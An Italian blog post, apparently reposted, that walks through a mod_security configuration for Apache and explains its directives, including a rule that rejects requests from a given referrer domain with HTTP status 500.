# mod_security configuration directives# …# Turn the filtering engine On or OffSecFilterEngine On# Some sane defaults#Check if URL characters where encodedSecFilterCheckURLEncoding On#Check UTF-8 encodingSecFilterCheckUnicodeEncoding Off#Allow 1 byte characters# Accept almost all byte valuesSecFilterForceByteRange 0 255# Server masking is optional# SecServerSignature “Microsoft-IIS/0.0″SecAuditEngine RelevantOnly# The name of the audit log fileSecAuditLog /var/log/apache2/audit_log# You normally won’t need debug logging# Debug level set to a minimumSecFilterDebugLog /var/log/apache2/modsec_debug_logSecFilterDebugLevel 0# Should mod_security inspect POST payloadsSecFilterScanPOST On# By default log and deny suspicious requests# with HTTP status 500SecFilterDefaultAction “deny,log,status:500″# Blocco il referral nasone.itSecFilterSelective “HTTP_REFERER” “domain.tld”Per la lista ed il significato di tutti i parametri vi rimando alla documentazione ufficiale, quelli che infatti ci interessano per lo scopo di questo articolo sono:

1. SecFilterEngine On: Auto esplicativo, accendiamo o spegnamo il motore di filtering
2. SecFilterCheckURLEncoding On: Controlliamo anche gli url con caratteri codificati all’interno
3. SecFilterScanPOST On: controlliamo anche le chiamate fatte con metodo POST
4. SecFilterDefaultAction “deny,log,status:500″: definiamo se le chiamate che rispettano le regole devono essere loggate, rifiutate o ammesse, e nel primo caso con quale tipo di errore devono essere rimbalzate
5. SecFilterSelective “HTTP_REFERER” “domain.tld”: Scegliamo di usare un filtro selettivo che va ad ispezionare il campo HTTP_REFERRER dell’header HTTP, e se nel campo è contenuto “domain.tld” viene fatto scattare il trigger con l’azione definita in SecFilterDefaultAction.

Compilato il file salviamolo e riavviamo apache, e da questo momento le chiamate in questione verranno filtrate, potete vedere se il filtro funziona tramite il file di log impostato nella configurazione sopra o più semplicemente vedendo le chiamate che arrivano nei file di accesso al virtual host di apache, vedrete che le GET da questo momento in poi non otterranno più un codice 200 ma 500.

fonte: www.ilportalinux.it » Vai al post originale